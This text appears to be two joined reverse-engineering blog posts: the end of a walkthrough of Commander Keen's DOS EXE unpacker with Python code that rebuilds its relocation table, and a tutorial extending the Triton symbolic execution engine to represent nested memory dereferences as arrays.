BX still points to our original CS, and we're adding it to a value at ES:DI. This looks like what we'd do if we were applying relocations... and an EXE would have a relocation table that would need to be applied once we unpacked the EXE...

So we have branch 1:

• byte > 0: advance DX:DI and apply relocation

The next branch, when the byte == 0:

loc_1C784:
lodsw
or      ax, ax
jnz     short loc_1C791

We load a word, what happens if it's 0?

add     dx, 0FFFh
mov     es, dx
jmp     short loc_1C769

We advance DX by a lot (0xFFF) and go back to the start.

• byte > 0: advance DX:DI and apply relocation
• byte == 0 and next word == 0: advance DX by 0xFFF

What about when the word is >1?

loc_1C791:
cmp     ax, 1
jnz     short loc_1C770

loc_1C770:
...

We've been here before, but we're advancing by a whole word, not just a byte.

• byte > 0: advance DX:DI and apply relocation
• byte == 0 and next word == 0: advance DX by 0xFFF
• byte == 0 and next word > 1: advance DX:DI and apply relocation

And the last case is the end, so we'll hit this once we've applied all the relocations. Before we do this though, let's look at how the python for this works, given we aren't trying apply relocations, but rather we want to rebuild the relocation table for the new EXE we're going to make:

while True:
    first_byte, = input_stream.read(1)
    if first_byte > 0:
        relocation += first_byte
        relocations.append(relocation)
    else:
        lowbyte, highbyte = input_stream.read(2)
        total = (highbyte << 0x08) + lowbyte
        if total == 0:
            relocation += 0xFFF
        elif total == 1:
            break
        else:
            relocation += total
            relocations.append(relocation)

Now we can break apart the final section:

mov     ax, bx

This is the CS that we got loaded to, now stored in AX

mov     di, word ptr unk_1C664
mov     si, word ptr unk_1C666
add     si, ax

We can see further down that these get loaded into SS:SP so we can rename these vars accordingly. We relocate SI (the new SS) by CS to bump it up

add     word ptr unk_1C662, ax

This var looks like a segment register

sub     ax, 10h
mov     ds, ax
mov     es, ax

AX now points to the PSP and we load this into DS and ES

xor     bx, bx

BX = 0...

cli
mov     ss, si
mov     sp, di
sti

Nice to stop interrupts while we're messing with the stack

jmp     dword ptr cs:[bx]

We're jumping to the far pointer at CS:0000. What's there?

Ahhhhh, so this is the original CS:IP that the packed EXE goes into (which is why we had to relocate the segment stored there). Full notes:

This was a lot of fun to reverse, fun to write up, and also quite enjoyable putting an unpacker together. You can find the unpacker here, it'll give you a decompressed copy of commander keen and rebuild the EXE header + relocations for you.

Happy reversing dudes

In my previous post, we looked at a basic intro to binary analysis with Triton. In short, it allows us to take something like this:

push ebp
mov ebp, esp

mov eax, [ebp+8]
mov ecx, [ebp+12]
xor edx, edx
div ecx

mov ecx, [ebp+16]
add eax, ecx
add eax, edx

pop ebp
add esp, 8
ret

and turn it into this

(arg_04 / arg_08) + (arg_04 % arg_08) + arg_0C

Fun stuff, huh. There is one thing that interests me that Triton wasn't designed to do, and that is treating symbols as arrays. Let's look at an example:

mov eax, [esp]
mov edx, [eax]
mov eax, [edx]
mov eax, [eax]
ret

We've used a bunch of registers, but it's basically a lookup through a multi-level array. What happens when we put it through Triton? We get this:

Emulating 0x401000: mov eax, dword ptr [esp]
Emulating 0x401003: mov edx, dword ptr [eax]
Emulating 0x401005: mov eax, dword ptr [edx]
Emulating 0x401007: mov eax, dword ptr [eax]
Emulating 0x401009: ret
Instructions executed: 5
Expression tree:
{0: ref_0 = esp,
 3: ref_3 = ((((0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0) # MOV operation - 0x401003: mov edx, dword ptr [eax],
 7: ref_7 = ((((0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0) # MOV operation - 0x401007: mov eax, dword ptr [eax],
 9: ref_9 = ((((0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0) # Program Counter - 0x401009: ret,
 10: ref_10 = ((ref_0 + 0x4) & 0xffffffff) # Stack alignment - 0x401009: ret}
Final state of eax:
((((0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0)
Final state of ebp:
0x0
Final state of esp:
((esp + 0x4) & 0xffffffff)

Huh. eax = 0. You can see it handles us setting a symbol name into esp, but it when we dereference a symbolic register it just defaults to 0. The lovely people on the Triton project tell me they've attempted to implement this in the engine, but this is still a work-in-progress. There's nothing to stop us shoehorning something in by ourselves though...

Remember our emulation loop looks like this:

    while pc:
        # Fetch opcode
        opcode = Triton.getConcreteMemoryAreaValue(pc, 16)

        # Create the Triton instruction
        instruction = Instruction()
        instruction.setOpcode(opcode)
        instruction.setAddress(pc)

        # Process
        Triton.processing(instruction)
        count += 1

        print("Emulating %s" % (instruction))

        #print instruction

        if instruction.getType() == OPCODE.X86.RET:
            break

        # Next
        pc = Triton.getConcreteRegisterValue(Triton.registers.eip)

Once we've called Triton.processing(), we're totally able to access both the details of the Instruction and the state of the TritonContext engine. Here's a quick and dirty way to handle use this to handle basic dereferences:

        if instruction.isMemoryRead():
            read_register, read_ast_node = instruction.getReadRegisters()[0]
            written_register, write_ast_node = instruction.getWrittenRegisters()[0]
            if read_ast_node.getType() == AST_NODE.REFERENCE:
                expression = read_ast_node.getSymbolicExpression()
                variable = expression.getAst().getSymbolicVariable()
                alias = variable.getAlias()
                newalias = "(%s)[0]" % alias
                Triton.symbolizeRegister(written_register, newalias)

This works fine with simple derefs like mov eax, [esp], and it's really up to us how we want to express these arrays that we're creating. Here's the end result:

$ python3 tritonbasic2.py
Emulating 0x401000: mov eax, dword ptr [esp]
Emulating 0x401003: mov edx, dword ptr [eax]
Emulating 0x401005: mov eax, dword ptr [edx]
Emulating 0x401007: mov eax, dword ptr [eax]
Emulating 0x401009: ret
Instructions executed: 5
Expression tree:
{6: ref_6 = ((esp)[0])[0],
 12: ref_12 = ((((esp)[0])[0])[0])[0],
 13: ref_13 = ((((0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0) # Program Counter - 0x401009: ret,
 15: ref_15 = (esp)[0]}
Final state of eax:
((((esp)[0])[0])[0])[0]
Final state of ebp:
0x0
Final state of esp:
(esp)[0]

Some cool things about this:

• Triton is smart enough to figure out when we've overwritten something. You'll note there are gaps in the reference numbers, this is because we override things (e.g. reusing eax, incrementing eip)
• It only took a few lines of code but we can now handle nested dereferences without any real effort

Things to watch out for:

• This dereferencing will work with mov instructions, but these aren't the only instructions that access memory (consider pop and lodsb for starters). Some of these other instructions will modify the pointer register, and we need to also handle incrementing/decrementing this and make sure we have some way of handling this
• If we alter the register that we're dereferencing we need to find a way to handle this too.

Let's consider some code like this:

mov eax, [esp]
mov edx, [eax]
mov eax, [edx+8]
mov eax, [eax]
mov ebx, [eax+4]
mov ecx, [eax-4]
ret

We get this for output:

$ python3 tritonbasic2.py
Emulating 0x401000: mov eax, dword ptr [esp]
Emulating 0x401003: mov edx, dword ptr [eax]
Emulating 0x401005: mov eax, dword ptr [edx + 8]
Emulating 0x401008: mov eax, dword ptr [eax]
Emulating 0x40100a: mov ebx, dword ptr [eax + 4]
Emulating 0x40100d: mov ecx, dword ptr [eax - 4]
Emulating 0x401010: ret
Instructions executed: 7
Expression tree:
{6: ref_6 = ((esp)[0])[0],
 12: ref_12 = ((((esp)[0])[0])[0])[0],
 15: ref_15 = (((((esp)[0])[0])[0])[0])[0],
 18: ref_18 = (((((esp)[0])[0])[0])[0])[0],
 19: ref_19 = ((((0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0) # Program Counter - 0x401010: ret,
 21: ref_21 = (esp)[0]}
Final state of eax:
((((esp)[0])[0])[0])[0]
Final state of ebp:
0x0
Final state of esp:
(esp)[0]

Clearly this is wrong... so we need to add a little more smarts to our lookup code. The big thing is that we look at instruction.getReadRegisters() and this doesn't get us the offset, so we need to find a MemoryAccess object instead. Let's try this on for size:

        if instruction.isMemoryRead():
            memory_access, read__memory_ast_node = instruction.getLoadAccess()[0]
            read_register, read_register_ast_node = instruction.getReadRegisters()[0]
            written_register, write_register_ast_node = instruction.getWrittenRegisters()[0]
            if read_register.getName() != "unknown":
                expression = read_register_ast_node.getSymbolicExpression()
                expression_ast = expression.getAst()
                #import pdb
                #pdb.set_trace()
                if expression_ast.getType() == AST_NODE.VARIABLE:
                    variable = expression_ast.getSymbolicVariable()
                    alias = variable.getAlias()
                    displacement = memory_access.getDisplacement().getValue()
                    newalias = "(%s)[0x%x]" % (alias, displacement)
                    #newalias = "(%s)[0]" % alias
                    Triton.symbolizeRegister(written_register, newalias)
                elif expression_ast.getType() == AST_NODE.CONCAT:
                    import pdb
                    pdb.set_trace()
                    pass
                else:
                    import pdb
                    pdb.set_trace()
                    raise Exception("Unexpected ast node")

And the output:

$ python3 tritonbasic2.py
Emulating 0x401000: mov eax, dword ptr [esp]
Emulating 0x401003: mov edx, dword ptr [eax]
Emulating 0x401005: mov eax, dword ptr [edx + 8]
Emulating 0x401008: mov eax, dword ptr [eax]
Emulating 0x40100a: mov ebx, dword ptr [eax + 4]
Emulating 0x40100d: mov ecx, dword ptr [eax - 4]
Emulating 0x401010: ret
Instructions executed: 7
Expression tree:
{6: ref_6 = ((esp)[0x0])[0x0],
 12: ref_12 = ((((esp)[0x0])[0x0])[0x8])[0x0],
 15: ref_15 = (((((esp)[0x0])[0x0])[0x8])[0x0])[0x4],
 18: ref_18 = (((((esp)[0x0])[0x0])[0x8])[0x0])[0xfffffffc],
 19: ref_19 = ((((0x0) << 8 | 0x0) << 8 | 0x0) << 8 | 0x0) # Program Counter - 0x401010: ret,
 21: ref_21 = (esp)[0x0]}
Final state of eax:
((((esp)[0x0])[0x0])[0x8])[0x0]
Final state of ebx:
(((((esp)[0x0])[0x0])[0x8])[0x0])[0x4]
Final state of ecx:
(((((esp)[0x0])[0x0])[0x8])[0x0])[0xfffffffc]
Final state of ebp:
0x0
Final state of esp:
(esp)[0x0]

So this looks to handle nested memory reads, including indices. There's a little more to handle though, as I mentioned this still doesn't handle pop/lodsb style instructions, nor the more complicated mov eax, [ebx*4+ecx+12], but you can see how the pattern works.

I hope this was useful, have fun hacking!